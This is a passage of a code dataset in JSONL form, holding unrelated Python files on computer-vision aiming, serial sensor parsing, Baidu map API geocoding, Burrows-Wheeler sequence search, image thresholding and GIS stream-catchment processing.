pg.set_display((640, 480))\npg.display.set_caption(\"Scrolling test\")\n","sub_path":"python/snippets/scrolling.py","file_name":"scrolling.py","file_ext":"py","file_size_in_byte":3481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"450355294","text":"from modules.frame_to_roi import frame_to_roi\nfrom modules.roi_to_mask import roi_to_mask\nfrom modules.mask_to_leds import mask_to_leds\nfrom modules.leds_to_panels import leds_to_panels\nfrom modules.panels_to_target import panels_to_target\nfrom modules.target_to_coords import target_to_coords\nfrom modules.predict_coords import predict_coords\nfrom modules.send_coords import send_coords\nimport cv2\nimport numpy as np\nimport json\nimport time\n\nFRAME_SCALE = 2\nDEBUG_SCALE = 2\nMODE_RUN, MODE_DEBUG, MODE_TEST = 0, 1, 2\nFRAME_DELAY = 0 # (ms)\n\n\ndef autoaim(source, mode=MODE_DEBUG, data_file=None):\n com = Common()\n com.debug = (mode == MODE_DEBUG)\n com.test = (mode == MODE_TEST)\n\n if com.test:\n if data_file is None:\n raise RuntimeError('Provide data file to test against.')\n if type(source) is int:\n raise RuntimeError('Provide video source containing test footage.')\n print('Testing implementation...')\n coords_data = []\n failed_count = 0\n start_time = time.time()\n\n capture = cv2.VideoCapture(source)\n successful, frame = capture.read()\n if not successful:\n raise RuntimeError(f'Failed to read from video source \"{source}\".')\n com.frame_count = 1\n com.top_left = np.array([0, 0])\n com.orig_dims = np.array([capture.get(3), capture.get(4)]).astype(int)\n frame_dims = tuple(np.round(com.orig_dims / FRAME_SCALE).astype(int))\n debug_dims = tuple(np.round(com.orig_dims / DEBUG_SCALE).astype(int))\n target = None\n\n while True:\n successful, frame = capture.read()\n if not successful:\n break\n com.frame_count += 1\n frame = cv2.resize(frame, frame_dims)\n if com.debug:\n com.debug_frame = cv2.resize(frame, debug_dims)\n print(f'\\n----- Frame {com.frame_count} -----')\n\n roi = frame_to_roi(frame, target, com)\n mask = roi_to_mask(roi, com)\n leds = mask_to_leds(mask, com)\n panels = leds_to_panels(leds, com)\n target = panels_to_target(panels, com)\n coords = target_to_coords(target, com)\n aim_coords = predict_coords(coords, com)\n send_coords(aim_coords, com)\n\n if com.debug:\n cv2.imshow('Debug Output', com.debug_frame)\n if cv2.waitKey(FRAME_DELAY) == ord('q'):\n break\n elif com.test:\n if coords is None:\n failed_count += 1\n else:\n coords_data.append(coords)\n\n if com.test:\n end_time = time.time()\n print(f'Time per frame: {(end_time - start_time) / com.frame_count * 1E3:.1f} ms')\n print('Deviations in (rho, phi, z): {:.2f}, {:.2f}, {:.2f}'.format(*calc_deviations(coords_data, data_file)))\n print(f'Failed detection ratio: {failed_count / com.frame_count:.2f}')\n cv2.destroyAllWindows()\n\n\ndef calc_deviations(data, data_file):\n with open(data_file, 'r') as file:\n absolute = json.load(file)\n absolute = list(absolute.values())[1:] # skip first frame\n\n measured = np.array(data)\n deviations = np.divide(np.subtract(absolute, measured), absolute) ** 2\n deviations = np.sqrt(np.average(deviations, axis=0))\n return deviations\n\n\nclass Common:\n def __init__(self):\n self.debug, self.test = None, None\n self.frame_count = None\n self.debug_frame = None\n self.top_left = None\n self.orig_dims = None\n self.frame_scale = FRAME_SCALE\n\n def orig_to_frame(self, point):\n return np.round(np.array(point) / FRAME_SCALE).astype(int)\n\n def orig_to_debug(self, point):\n return np.round(np.array(point) / DEBUG_SCALE).astype(int)\n\n def frame_to_orig(self, point):\n return (self.top_left + point) * FRAME_SCALE\n","sub_path":"autoaim/autoaim.py","file_name":"autoaim.py","file_ext":"py","file_size_in_byte":3768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"352971818","text":"# Give a String, representing the time, such as \"12:34\"(This is a legal input data).\n# and Find the most recent time in the last 24 hours and don't include duplicate numbers.\n# If it is the samllest \"00:00\", the reply is the largest \"23:59\".If the input is illegal, return -1.\n\nclass Solution:\n def lastTime(self, time):\n if not (len(time) == 5 and 0<=int(time[:2])<24 and 0<=int(time[3:])<60 \\\n and time[2]==':'):\n return \"-1\"\n\n h, m = int(time[:2]), int(time[3:])\n t = 60*h + m\n while True:\n if t == 0: t = 60*24\n t -= 1\n\n ans = \"%02d:%02d\" % (t//60, t%60)\n if len(set(ans)) == 5:\n return ans\n\n\nprint(Solution().lastTime('')) # \"-1\"\nprint(Solution().lastTime('00:00')) # \"23:59\"\nprint(Solution().lastTime('00:02')) # \"23:59\"\nprint(Solution().lastTime('12:34')) # \"12:30\"\n","sub_path":"Python/1554-lasttime-norepeat.py","file_name":"1554-lasttime-norepeat.py","file_ext":"py","file_size_in_byte":889,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"233237781","text":"import time\nimport serial\nclass gatherclass:\n def __init__(self):\n self.ser=serial.Serial(\"/dev/ttyUSB1\",115200)\n self.ser.baudrate=115200\n #print(self.ser.readline().decode(\"utf-8\"))\n def gatherString(self):\n #bytesToRead = self.ser.inWaiting()\n #return self.ser.read(bytesToRead) \n return self.ser.readline().decode(\"utf-8\")\n def parseString(self,string,type):\n temp=string.split(\",\")\n for i in temp:\n j=i.split(\":\")\n if j[0]==\"Temperature\" and type==\"T\":\n return j[1]\n if j[0]==\"Humidity\" and type==\"H\":\n return j[1]\n if j[0]==\"Ammonia\" and type==\"A\":\n return j[1]\n if j[0]==\"Smoke\" and type==\"S\":\n return j[1]\n def gather(self,obj,type):\n try:\n string=self.gatherString()\n print(time.ctime(),string)\n t=self.parseString(string,\"T\")\n h=self.parseString(string,\"H\")\n a=self.parseString(string,\"A\")\n s=self.parseString(string,\"S\")\n if type == \"TH\":\n obj.temperature=t\n obj.humidity=h\n elif type == \"Amonia\":\n obj.amonia=a\n elif type == \"Smoke\":\n obj.smoke=s\n else:\n print(\"Wrong Parameter...\")\n except Exception as e:\n print(\"Don't \",e)\n","sub_path":"IotTest/Arduino/Gather.py","file_name":"Gather.py","file_ext":"py","file_size_in_byte":1438,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"445748076","text":"\"\"\"\n此文件为百度API调用方法集成,\n目前有下述功能:\ncall_baiduAPI_POI: 用于传入特定地点查询经纬度,返回一个地点\ncall_baiduAPI_POI_batch:用于传入搜索关键字查询经纬度,返回一批数据\n\n\nHistory:\n\n++++++++++++++++++++++++++++create+++++++++++++++++++++++++\nAuthor: Koolo233 \nCreated: 2018-11-24\n++++++++++++++++++++++++++++update+++++++++++++++++++++++++\nAuthor:\n\"\"\"\n\n# encoding: utf-8\nfrom urllib.request import urlopen, quote\nimport pandas as pd\nimport json\nimport sys\nimport os\n\n\ndef call_baiduAPI_POI(address, key, whether_limit=None, whether_check=True):\n \"\"\"\n :param address: 查询关键字\n :param key: 百度密匙\n :param whether_limit:是否加入限定词,如 查询”XXX“, 加入限定词”武汉“ ,则会查询“武汉的XXX”, 默认为不加入\n :param whether_check: 是否检测地址\n True:print检测的地点\n Fasle:不输出\n 默认为True\n :return: 返回由经纬度 lat, lng 组成的元组\n \"\"\"\n\n if whether_check:\n print(address)\n\n url = 'http://api.map.baidu.com/geocoder/v2/'\n output = 'json'\n ak = key # 浏览器端密钥\n if whether_limit:\n address = whether_limit + address\n address = quote(address)\n else:\n address = quote(address)\n\n uri = url + '?' + 'address=' + address + '&output=' + output + '&ak=' + ak\n req = urlopen(uri)\n res = req.read().decode() \n temp = json.loads(res)\n lat = temp['result']['location']['lat']\n lng = temp['result']['location']['lng']\n return_data = (lat, lng)\n return return_data\n\n\ndef call_baiduAPI_batch(coordi_lower_left, coordi_top_right, nb_slice, key, search_list, search_nb_every_batch,\n save_name, whether_print_data=True, whether_print_processing=True):\n \"\"\"\n :param coordi_lower_left: 搜索区域左下角经纬度\n :param coordi_top_right: 搜索区域右上角经纬度\n :param nb_slice: 切片数目,如设定为2时,则会将区域分为2*2四个部分进行搜索\n :param key: 百度API密匙\n :param search_list: 搜索关键字的条目,以字符串数组的形式传入, 将会对每一个关键进行搜索\n :param search_nb_every_batch: 每一区域搜索时最大返回量\n :param save_name: 保存文件路径,目前支持CSV文件保存\n :param whether_print_data: 是否监测数据\n True:输出数据\n False:不输出\n :param whether_print_processing: 是否检测搜索流程\n True:保存时打印当前批次\n False:不监测\n :return: 无\n \"\"\"\n\n print('begin searching')\n print('++++++++++++++++++++++++++++++++++++++++++++++++++++++++++')\n left_bottom = coordi_lower_left # 设置区域左下角坐标(百度坐标系)\n right_top = coordi_top_right # 设置区域右上角坐标(百度坐标系)\n part_n = nb_slice # 设置区域网格(2*2)\n url0 = 'http://api.map.baidu.com/place/v2/search?'\n x_item = (right_top[0] - left_bottom[0]) / part_n\n y_item = (right_top[1] - left_bottom[1]) / part_n\n ak = key\n n = 0 # 切片计数器\n\n list_search = search_list\n for w in range(len(list_search)):\n query = quote(list_search[w]) # 搜索关键词设置,转换中文\n for i in range(part_n):\n for j in range(part_n):\n left_bottom_part = [left_bottom[0] + i * x_item, left_bottom[1] + j * y_item] # 切片的左下角坐标\n right_top_part = [right_top[0] + i * x_item, right_top[1] + j * y_item] # 切片的右上角坐标\n for k in range(search_nb_every_batch):\n url = url0 + 'query=' + query + '&page_size=20&page_num=' + str(k) + '&scope=1&bounds=' + str(\n left_bottom_part[1]) + ',' + str(left_bottom_part[0]) + ',' + str(\n right_top_part[1]) + ',' + str(right_top_part[0]) + '&output=json&ak=' + ak\n data = urllib2.urlopen(url)\n hjson = json.loads(data.read())\n if hjson['message'] == 'ok':\n results = hjson['results']\n data = list(map(lambda m: (\n results[m][\"name\"], results[m][\"address\"], results[m][\"location\"][\"lat\"],\n results[m][\"location\"][\"lng\"]), range(len(results))))\n data = pd.DataFrame(data, columns=['name', \"address\", \"lat\", \"lng\"])\n data.to_csv(save_name, index=False, mode='a+', encoding='UTF-8')\n if whether_print_data:\n print(data)\n n += 1\n if whether_print_processing:\n print('----------------------------------------')\n print('第' + str(n) + '个切片入库成功')\n\n print('++++++++++++++++++++++++++++++++++++++++++++++++')\n print('searching over')\n\n\n","sub_path":"call_baiduAPI.py","file_name":"call_baiduAPI.py","file_ext":"py","file_size_in_byte":5154,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"533026556","text":"#\n# Copyright 2018 Analytics Zoo Authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nfrom bigdl.util.common import *\nfrom zoo.pipeline.api.keras.base import ZooKerasCreator\n\nif sys.version >= '3':\n long = int\n unicode = str\n\n\nclass AUC(JavaValue):\n \"\"\"\n Metric for binary(0/1) classification, support single label and multiple labels.\n\n # Arguments\n threshold_num: The number of thresholds. The quality of approximation\n may vary depending on threshold_num.\n\n >>> meter = AUC(20)\n creating: createAUC\n \"\"\"\n def __init__(self, threshold_num=200, bigdl_type=\"float\"):\n JavaValue.__init__(self, None, bigdl_type, threshold_num)\n\n\nclass Accuracy(ZooKerasCreator, JavaValue):\n \"\"\"\n Measures top1 accuracy for multi-class classification\n or accuracy for binary classification.\n\n # Arguments\n zero_based_label: Boolean. Whether target labels start from 0. Default is True.\n If False, labels start from 1.\n Note that this only takes effect for multi-class classification.\n For binary classification, labels ought to be 0 or 1.\n\n >>> acc = Accuracy()\n creating: createZooKerasAccuracy\n \"\"\"\n def __init__(self, zero_based_label=True, bigdl_type=\"float\"):\n super(Accuracy, self).__init__(None, bigdl_type,\n zero_based_label)\n\n\nclass Top5Accuracy(ZooKerasCreator, JavaValue):\n \"\"\"\n Measures top5 accuracy for multi-class classification.\n\n # Arguments\n zero_based_label: Boolean. Whether target labels start from 0. Default is True.\n If False, labels start from 1.\n\n >>> acc = Top5Accuracy()\n creating: createZooKerasTop5Accuracy\n \"\"\"\n def __init__(self, zero_based_label=True, bigdl_type=\"float\"):\n super(Top5Accuracy, self).__init__(None, bigdl_type,\n zero_based_label)\n","sub_path":"pyzoo/zoo/pipeline/api/keras/metrics.py","file_name":"metrics.py","file_ext":"py","file_size_in_byte":2449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"369664375","text":"import functools\nfrom collections import Counter\nfrom sys import stdin\n\nimport yaml\n\nfrom sequence_search.BurrowsWheelerTransform_Deserialization import cmp_symbol\nfrom sequence_search.SearchUtils import RotatedStringView\n\n\n# MARKDOWN_BUILD_TABLE_AND_COLLAPSED_FIRST\nclass BWTRecord:\n __slots__ = ['last_ch', 'last_ch_cnt']\n\n def __init__(self, last_ch: str, last_ch_cnt: int):\n self.last_ch = last_ch\n self.last_ch_cnt = last_ch_cnt\n\n\ndef to_bwt_and_first_occurrences(\n seq: str,\n end_marker: str\n) -> tuple[list[BWTRecord], dict[str, int]]:\n assert end_marker == seq[-1], f'{seq} missing end marker'\n assert end_marker not in seq[:-1], f'{seq} has end marker but not at the end'\n seq_rotations = [RotatedStringView(i, seq) for i in range(len(seq))]\n seq_rotations_sorted = sorted(\n seq_rotations,\n key=functools.cmp_to_key(lambda a, b: cmp_symbol(a, b, end_marker))\n )\n prev_first_ch = None\n last_ch_counter = Counter()\n bwt_records = []\n bwt_first_occurrence_map = {}\n for i, s in enumerate(seq_rotations_sorted):\n first_ch = s[0]\n last_ch = s[-1]\n last_ch_counter[last_ch] += 1\n last_ch_cnt = last_ch_counter[last_ch]\n bwt_record = BWTRecord(last_ch, last_ch_cnt)\n bwt_records.append(bwt_record)\n if first_ch != prev_first_ch:\n bwt_first_occurrence_map[first_ch] = i\n prev_first_ch = first_ch\n return bwt_records, bwt_first_occurrence_map\n# MARKDOWN_BUILD_TABLE_AND_COLLAPSED_FIRST\n\n\ndef main_table_and_collapsed_first():\n print(\"
\", end=\"\\n\\n\")\n print(\"`{bm-disable-all}`\", end=\"\\n\\n\")\n try:\n data_raw = ''.join(stdin.readlines())\n data: dict = yaml.safe_load(data_raw)\n seq = data['sequence']\n end_marker = data['end_marker']\n print(f'Building BWT using the following settings...')\n print()\n print('```')\n print(data_raw)\n print('```')\n print()\n bwt_records, bwt_first_occurrence_map = to_bwt_and_first_occurrences(seq, end_marker)\n print()\n print(f'The following last column and collapsed first mapping were produced ...')\n print()\n print(f' * First (collapsed): {bwt_first_occurrence_map}')\n print(f' * Last: {[(r.last_ch, r.last_ch_cnt) for r in bwt_records]}')\n finally:\n print(\"
\", end=\"\\n\\n\")\n print(\"`{bm-enable-all}`\", end=\"\\n\\n\")\n\n\n\n\n\n\n\n\n\n\n\n# MARKDOWN_FIRST_INDEX\ndef to_first_row(\n bwt_first_occurrence_map: dict[str, int],\n symbol_instance: tuple[str, int]\n) -> int:\n symbol, symbol_count = symbol_instance\n return bwt_first_occurrence_map[symbol] + symbol_count - 1\n# MARKDOWN_FIRST_INDEX\n\n\n# MARKDOWN_LAST_TO_FIRST\n# This is just a wrapper for to_first_row(). It's here for clarity.\ndef last_to_first(\n bwt_first_occurrence_map: dict[str, int],\n symbol_instance: tuple[str, int]\n) -> int:\n return to_first_row(bwt_first_occurrence_map, symbol_instance)\n# MARKDOWN_LAST_TO_FIRST\n\n\ndef main_first_index():\n print(\"
\", end=\"\\n\\n\")\n print(\"`{bm-disable-all}`\", end=\"\\n\\n\")\n try:\n data_raw = ''.join(stdin.readlines())\n data: dict = yaml.safe_load(data_raw)\n first_occurrence_map = data['first_occurrence_map']\n last = data['last']\n last_to_first = data['last_to_first']\n symbol = data['symbol']\n symbol_count = data['symbol_count']\n print(print(f'Finding the first column index using the following settings...'))\n print()\n print('```')\n print(data_raw)\n print('```')\n print()\n bwt_records = []\n for last_ch, last_ch_cnt in last:\n bwt_records.append(BWTRecord(last_ch, last_ch_cnt))\n first_row = to_first_row(first_occurrence_map, (symbol, symbol_count))\n print()\n print(f'The index of {symbol}{symbol_count} in the first column is: {first_row}')\n finally:\n print(\"
\", end=\"\\n\\n\")\n print(\"`{bm-enable-all}`\", end=\"\\n\\n\")\n\n\n\n\n\n\n\n\n\n\n# MARKDOWN_TEST\ndef find(\n bwt_records: list[BWTRecord],\n bwt_first_occurrence_map: dict[str, int],\n test: str\n) -> int:\n top = 0\n bottom = len(bwt_records) - 1\n for ch in reversed(test):\n new_top = len(bwt_records)\n new_bottom = -1\n for i in range(top, bottom + 1):\n record = bwt_records[i]\n if ch == record.last_ch:\n # last_to_first is now calculated on-the-fly\n last_to_first_ptr = last_to_first(\n bwt_first_occurrence_map,\n (record.last_ch, record.last_ch_cnt)\n )\n new_top = min(new_top, last_to_first_ptr)\n new_bottom = max(new_bottom, last_to_first_ptr)\n if new_bottom == -1 or new_top == len(bwt_records): # technically only need to check one of these conditions\n return 0\n top = new_top\n bottom = new_bottom\n return (bottom - top) + 1\n# MARKDOWN_TEST\n\n\ndef main_test():\n print(\"
\", end=\"\\n\\n\")\n print(\"`{bm-disable-all}`\", end=\"\\n\\n\")\n try:\n data_raw = ''.join(stdin.readlines())\n data: dict = yaml.safe_load(data_raw)\n test = data['test']\n first_occurrence_map = data['first_occurrence_map']\n last = data['last']\n print(f'Building BWT using the following settings...')\n print()\n print('```')\n print(data_raw)\n print('```')\n print()\n bwt_records = []\n for last_ch, last_ch_cnt in last:\n bwt_records.append(BWTRecord(last_ch, last_ch_cnt))\n found_cnt = find(bwt_records, first_occurrence_map, test)\n print()\n print(f'*{test}* found {found_cnt} times.')\n finally:\n print(\"
\", end=\"\\n\\n\")\n print(\"`{bm-enable-all}`\", end=\"\\n\\n\")\n\n\n\n\n\n\n\n\n\n# MARKDOWN_TEST_INITIAL_PASS_OPTIMIZED\ndef get_top_bottom_range_for_first(\n bwt_records: list[BWTRecord],\n bwt_first_occurrence_map: dict[str, int],\n ch: str\n):\n # End marker will always have been in idx 0 of first\n end_marker = next(first_ch for first_ch, row in bwt_first_occurrence_map.items() if row == 0)\n sorted_keys = sorted(\n bwt_first_occurrence_map.keys(),\n key=functools.cmp_to_key(lambda a, b: cmp_symbol(a, b, end_marker))\n )\n sorted_keys_idx = sorted_keys.index(ch) # It's possible to replace this with binary search, because keys are sorted\n sorted_keys_next_idx = sorted_keys_idx + 1\n if sorted_keys_next_idx >= len(sorted_keys):\n top = bwt_first_occurrence_map[ch]\n bottom = len(bwt_records) - 1\n else:\n ch_next = sorted_keys[sorted_keys_next_idx]\n top = bwt_first_occurrence_map[ch]\n bottom = bwt_first_occurrence_map[ch_next] - 2\n return top, bottom\n\n\ndef find_optimized(\n bwt_records: list[BWTRecord],\n bwt_first_occurrence_map: dict[str, int],\n test: str\n) -> int:\n # Use bwt_first_occurrence_map to determine top&bottom for last char rather than starting off with a full scan\n top, bottom = get_top_bottom_range_for_first(\n bwt_records,\n bwt_first_occurrence_map,\n test[-1]\n )\n # Since the code above already calculated top&bottom for last char, trim it off before going into the isolation loop\n test = test[:-1]\n for ch in reversed(test):\n new_top = len(bwt_records)\n new_bottom = -1\n for i in range(top, bottom + 1):\n record = bwt_records[i]\n if ch == record.last_ch:\n # last_to_first is now calculated on-the-fly\n last_to_first_idx = last_to_first(\n bwt_first_occurrence_map,\n (record.last_ch, record.last_ch_cnt)\n )\n new_top = min(new_top, last_to_first_idx)\n new_bottom = max(new_bottom, last_to_first_idx)\n if new_bottom == -1 or new_top == len(bwt_records): # technically only need to check one of these conditions\n return 0\n top = new_top\n bottom = new_bottom\n return (bottom - top) + 1\n# MARKDOWN_TEST_INITIAL_PASS_OPTIMIZED\n\n\ndef main_test_optimized():\n print(\"
\", end=\"\\n\\n\")\n print(\"`{bm-disable-all}`\", end=\"\\n\\n\")\n try:\n data_raw = ''.join(stdin.readlines())\n data: dict = yaml.safe_load(data_raw)\n test = data['test']\n first_occurrence_map = data['first_occurrence_map']\n last = data['last']\n print(f'Building BWT using the following settings...')\n print()\n print('```')\n print(data_raw)\n print('```')\n print()\n bwt_records = []\n for last_ch, last_ch_cnt in last:\n bwt_records.append(BWTRecord(last_ch, last_ch_cnt))\n found_cnt = find(bwt_records, first_occurrence_map, test)\n print()\n print(f'*{test}* found {found_cnt} times.')\n finally:\n print(\"
\", end=\"\\n\\n\")\n print(\"`{bm-enable-all}`\", end=\"\\n\\n\")\n\n\n\n\n\n\n\nif __name__ == '__main__':\n # main_table_and_collapsed_first()\n main_first_index()\n # main_test()\n","sub_path":"docs/data/learn/Bioinformatics/output/ch9_code/src/sequence_search/BurrowsWheelerTransform_CollapsedFirst.py","file_name":"BurrowsWheelerTransform_CollapsedFirst.py","file_ext":"py","file_size_in_byte":9276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"207909719","text":"import cv2\nimport numpy as np\nimport matplotlib as mpl\nmpl.use('Agg')\nfrom matplotlib import pyplot as plt\nimport sys\n\ndef main(value_thr,value_default,img):\n ret,img = cv2.threshold(img,value_thr,value_default,cv2.THRESH_BINARY)\n '''\n height, width = img.shape\n for y in range(0,width):\n for x in range(0,height):\n if (value_thr <= img[x,y] and img[x,y] <= value_default):\n img[x,y] = 250\n else:\n img[x,y] = 0\n '''\n strr = \"uploads/\"+str(value_thr)+\"_\"+str(value_default)+\".jpg\"\n cv2.imwrite(strr,img);\n return strr;\n\n\nfilename = sys.argv[1]\nc = float(sys.argv[2])\nd = float(sys.argv[3])\n\nimgen = cv2.imread(filename)\nimg = cv2.cvtColor(imgen, cv2.COLOR_BGR2GRAY)\nplt.hist(img.ravel(),256,[0,256])\nplt.savefig('uploads/histograma.png')\nprint(main(c,d,img))\n","sub_path":"EXAMEN2/programa/thresholding.py","file_name":"thresholding.py","file_ext":"py","file_size_in_byte":841,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"429558253","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# Copyright 2020-2021 Barcelona Supercomputing Center (BSC), Spain\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom __future__ import absolute_import\n\nfrom ..common import *\n\nfrom functools import partial\nimport abc\nimport collections.abc\n\n# This method was inspired by https://stackoverflow.com/a/52989965\n\ndef marshall_namedtuple(obj):\n \"\"\"\n This method takes any atomic value, list, dictionary or namedtuple,\n and recursively it tries translating namedtuples into dictionaries\n \"\"\"\n recurse = lambda x: map(marshall_namedtuple, x)\n obj_is = partial(isinstance, obj)\n if hasattr(obj, '_marshall'):\n return marshall_namedtuple(obj._marshall())\n elif obj_is(tuple) and hasattr(obj, '_fields'): # namedtuple\n fields = zip(obj._fields, recurse(obj))\n class_name = obj.__class__.__name__\n return dict(fields, **{'_type': class_name})\n elif obj_is((collections.abc.Mapping,dict)):\n return type(obj)(zip(obj.keys(), recurse(obj.values())))\n elif obj_is(collections.abc.Iterable) and not obj_is(str):\n return type(obj)(recurse(obj))\n elif obj_is(abc.ABC):\n return {\n '_instance_of': obj.__class__.__name__\n }\n elif obj_is(abc.ABCMeta):\n return {\n '_class': obj.__name__\n }\n else:\n return obj\n\ndef unmarshall_namedtuple(obj, myglobals = None):\n \"\"\"\n This method takes any atomic value, list or dictionary,\n and recursively it tries translating dictionaries into namedtuples\n \"\"\"\n recurse = lambda x, myglobals: map(lambda l: unmarshall_namedtuple(l, myglobals), x)\n obj_is = partial(isinstance, obj)\n if obj_is((collections.abc.Mapping, dict)):\n if '_class' in obj: # originally a class\n if myglobals is None:\n myglobals = globals()\n clazz = myglobals[obj['_class']]\n \n return clazz\n \n if '_type' in obj: # originally namedtuple\n objn = obj.copy()\n theTypeName = objn.pop('_type')\n if myglobals is None:\n myglobals = globals()\n clazz = myglobals[theTypeName]\n else:\n objn = obj\n clazz = type(obj)\n #theTypeName = clazz.__name__\n \n fields = dict(zip(objn.keys(), recurse(objn.values(), myglobals)))\n #print(\"{} {} {}\".format(clazz, theTypeName, fields))\n return clazz(**fields)\n elif obj_is(collections.abc.Iterable) and not obj_is(str):\n #print(type(obj))\n return type(obj)(recurse(obj, myglobals))\n else:\n return obj","sub_path":"wfexs_backend/utils/marshalling_handling.py","file_name":"marshalling_handling.py","file_ext":"py","file_size_in_byte":3155,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"124818719","text":"try:\n from getSuccessors import getSuccessors\nexcept:\n print(\"unable to import getSuccessors\")\n exit()\n\n\ndef uniq(lst):\n st = set()\n for el in lst:\n el = tuple(el)\n st.add(el)\n list(st)\n lst.clear()\n for el in st:\n el = list(el)\n lst.append(el)\n\n\ndef getAllStates(state0, depth):\n allStateList = []\n tmp = [state0]\n tmp1 = []\n for d in range(depth):\n for l in range(len(tmp)):\n tmp1.extend(getSuccessors(tmp[l]))\n allStateList.extend(tmp1.copy())\n tmp = tmp1.copy()\n tmp1.clear()\n uniq(allStateList)\n return(allStateList)\n","sub_path":"KM/Lab6/getAllStates.py","file_name":"getAllStates.py","file_ext":"py","file_size_in_byte":635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"209935829","text":"import arcpy\nimport os\nimport sys\nimport operator\n\n#Moves dam and sample points to nearest stream using fdr (flow direction) raster layer\ndef getNoData(X,Y, tmpVal):\n\twhile tmpVal != \"NoData\":\n\t\tif tmpVal == \"0\":\n\t\t\treturn [X, Y]\n\t\telif tmpVal == \"1\":\n\t\t\tX += 30\n\t\telif tmpVal == \"2\":\n\t\t\tX += 30\n\t\t\tY -= 30\n\t\telif tmpVal == \"4\":\n\t\t\tY -= 30\n\t\telif tmpVal == \"8\":\n\t\t\tX -= 30\n\t\t\tY -= 30\n\t\telif tmpVal == \"16\":\n\t\t\tX -= 30\n\t\telif tmpVal == \"32\":\n\t\t\tX -= 30\n\t\t\tY += 30\n\t\telif tmpVal == \"64\":\n\t\t\tY += 30\n\t\telif tmpVal == \"128\":\n\t\t\tX += 30\n\t\t\tY += 30\n\t\ttmpVal = str(arcpy.GetCellValue_management(fdrNull, \"{0} {1}\".format(X, Y), \"1\").getOutput(0))\n\treturn [X, Y]\n\n#Determines most downstream catchment containing salmonids\ndef moveDownstream(featureID):\n\tfirstFeat = featureID\n\toldFeat = featureID\n\twhile 1 == 1:\n\t\ttry:\n\t\t\tvaaIndex = vaaID.index(featureID)\n\t\t\ttry:\n\t\t\t\tpfIndex = pfNode.index(vaaArray[vaaIndex][5])\n\t\t\t\ttry:\n\t\t\t\t\tcpInd = cpFeat.index(pfArray[pfIndex][2])\n\t\t\t\t\ttmpBi = 0\n\t\t\t\t\tif usestrOrd == True:\n\t\t\t\t\t\tif cpArray[cpInd][7] > strOrd:\n\t\t\t\t\t\t\ttmpBi = 1\n\n\t\t\t\t\tif cpArray[cpInd][6] == \"Yes\" or cpArray[cpInd][7] == 0 or cpArray[cpInd][2] == \"0\" or cpArray[cpInd][2] == \"0P\" or tmpBi == 1:\n\t\t\t\t\t\toldFeat = check_oldFeat(oldFeat)\n\t\t\t\t\t\treturn oldFeat\n\t\t\t\t\telse:\n\t\t\t\t\t\tfeatureID = cpArray[cpInd][1]\n\t\t\t\texcept ValueError:\n\t\t\t\t\tfeatureID = pfArray[pfIndex][2]\n\t\t\t\toldFeat = featureID\n\t\t\texcept ValueError:\n\t\t\t\tarcpy.AddMessage(\"Error indexing Flowline Node Number {0}\".format(vaaArray[vaaIndex][5]))\n\t\t\t\ttmpFile.write(\"{0}\\t{1}\\t{2}\\n\".format(vaaArray[vaaIndex][5], oldFeat, firstFeat))\n\t\t\t\treturn firstFeat\n\t\texcept ValueError:\n\t\t\tarcpy.AddMessage(\"Error indexing FlowlineVAA comID {0}\".format(featureID))\n\t\t\treturn firstFeat\n\n#Make sure returned feature is a catchment\ndef check_oldFeat(oldFeat):\n\twhile 1 == 1:\n\t\ttry:\n\t\t\tcpIndex = cpFeat.index(oldFeat)\n\t\t\tbreak\n\t\texcept ValueError:\n\t\t\tvaaIndex = vaaID.index(oldFeat)\n\t\t\tpfIndex = pfNode.index(vaaArray[vaaIndex][1])\n\t\t\toldFeat = pfArray[pfIndex][1]\n\treturn oldFeat\n\n#Determines catchments in patch moving upstream from most downstream catchment containing salmonids\ndef moveUpstream(featureID, cumDist):\n\ttry:\n\t\tvaaIndex = vaaID.index(featureID)\n\t\tget_PFlowUS(vaaArray[vaaIndex][1], featureID, cumDist)\n\texcept ValueError:\n\t\tarcpy.AddMessage(\"Error indexing FlowlineVAA comID {0}\".format(featureID))\n\n#gets PlusFlow records matching the PFVAA NodeNumber\ndef get_PFlowUS(NodeNum, oldFeat, cumDist):\n\ttry:\n\t\tpfIndex = pfNode.index(NodeNum)\n\t\ttmpFeat = -1\n\t\twhile pfArray[pfIndex][0] == NodeNum:\n\t\t\tif pfArray[pfIndex][1] > 0 and pfArray[pfIndex][1] != tmpFeat:\n\t\t\t\ttmpFeat = pfArray[pfIndex][1]\n\t\t\t\tget_catchPolyUS(pfArray[pfIndex][1], NodeNum, oldFeat, cumDist)\n\t\t\tpfIndex += 1\n\t\t\tif pfIndex == pfCnt:\n\t\t\t\tbreak\n\t\t\n\texcept ValueError:\n\t\tarcpy.AddMessage(\"Error indexing Flowline Node Number 